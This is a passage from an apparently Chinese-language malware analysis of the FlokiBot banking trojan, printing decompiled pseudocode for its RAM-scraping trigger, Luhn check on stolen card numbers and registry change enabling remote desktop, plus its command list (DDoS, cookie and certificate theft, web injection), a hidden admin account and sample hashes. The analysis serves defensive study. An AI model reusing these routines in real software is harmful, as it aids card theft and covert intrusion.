HANDLE
)-1 && cstm_WaitForSingleObject() )
trigger_ram_scraping((
int
)v4);
RtlLeaveCriticalSection_wrap(&unk_41E6E8);
return
v5;
}
当 Floki 发现 track2 数据,它就会通过查看 PAN 的开头来确定发行方。在这个饱含信息量的网页,你可以找到一系列发行方的识别号:
http://www.stevemorse.org/ssn/List_of_Bank_Identification_Numbers.html.
Floki 并没有查看整个IIN (6 位),而是只检查了第一位看它是否符合下面的发行方:
-
3: Amex / Dinners / JP
-
4:VISA
-
5:Mastercard
-
6: Discover
FlokiBot identify_mii 流程:
然后,它根据 Luhn 算法查看 PAN 是否有效:
123456789101112131415161718192021222324char
__usercall check_mii_luhn@(
void
*a1@, _BYTE *a2@)
{
char
result;
// al@1
[...]
result = identify_mii(*a2, a1);
if
( result )
{
v7 = 0; v3 = 1; v8 = 2;
v9 = 4; v10 = 6; v11 = 8;
v12 = 1; v13 = 3; v14 = 5;
v15 = 7; v16 = 9; v4 = 0; v5 = 16;
do
// Luhn Algorithm
{
v6 = a2[--v5] -
'0'
;
if
( !v3 )
v6 = *(&v7 + v6);
v4 += v6;
v3 = v3 == 0;
}
while
( v5 );
result = v4 % 10 == 0;
}
return
result;
}
→ 通讯
通讯是用 RC4 和异或混合加密的。我们用来去混淆字符串的代码可以帮我们识别下面这些明确命名的命令行:
user_flashplayer_remove user_flashplayer_get user_homepage_setuser_url_unblock user_url_block user_certs_remove user_certs_get user_cookies_remove user_cookies_get user_execute user_logoff user_destroy fs_search_remove fs_search_add fs_path_get bot_ddos_stop bot_ddos_start bot_httpinject_enablebot_httpinject_disablebot_bc_remove bot_bc_add bot_update_exe bot_update bot_uninstall os_reboot os_shutdown
现在 FlokiBot 还没有只是 TOR,但你可以在代码中找到这个特征的一些痕迹。
→ 激活远程桌面协议(RDP)
这个 payload 想要通过寄存器来手动激活远程 Windows 桌面,然后执行控制台命令行添加一个隐形的管理员账号 test_account:test_password 。
enable_remote_desktop 函数的伪码:
12345678910111213141516171819202122232425262728void
enable_remote_desktop()
{
signed
int
v0;
// eax@3
int
v1;
// [sp+0h] [bp-Ch]@2
int
v2;
// [sp+4h] [bp-8h]@2
int
v3;
// [sp+8h] [bp-4h]@2
if
( byte_41E43C ) {
v2 = 0;
v1 = 4;
v3 = 0x80000002;
if
( RegOpenKeyExW_wrap(0x80000002, L
"SYSTEM\\CurrentControlSet\\Control\\Terminal Server"
, 0, 1, &v3) )
v0 = -1;
else
v0 = cstm_RegQueryValueExW(&v3, (
int
)L
"fDenyTSConnections"
, (
int
)&v1, (
int
)&v2, 4);
if
( v0 != -1 ) {
if
( v2 ) {
v3 = 0;
// 0 = Enables remote desktop connections
cstm_RegSetValueExW(
0x80000002,
(
int
)L
"SYSTEM\\CurrentControlSet\\Control\\Terminal Server"
,
(
int
)L
"fDenyTSConnections"
,
4,
(
int
)&v3,
4);
}
}
}
}
自从 ATS 这种方式因为太复杂而不能编程以及太难部署后,使用远程桌面进行网络犯罪成为了新的方式。通过这种方式,它们可以获取被感染的电脑的所有权限,从而获得目标的信息,并执行欺诈任务,例如手动转移钱财。
✿ 最后需要注意的和哈希值
FlokiBot 是又一基于 ZeuS 的恶意软件,有些代码甚至是直接从 Carberp 拿来的。虽然如此,它的解除挂钩操作和 PoS 恶意软件特征都很有趣,值得分析。而且,它的混淆技术很简单,可以不用 AppCall,只用 IDA 脚本就可以进行静态分析。
针对最近的 FlokiBot 样本,@v0id_hunter 上传了了下面这些 SHA256.
23E8B7D0F9C7391825677C3F13FD2642885F6134636E475A3924BA5BDD1D4852 997841515222dbfa65d1aea79e9e6a89a0142819eaeec3467c31fa169e57076a f778ca5942d3b762367be1fd85cf7add557d26794fad187c4511b3318aff5cfd......省略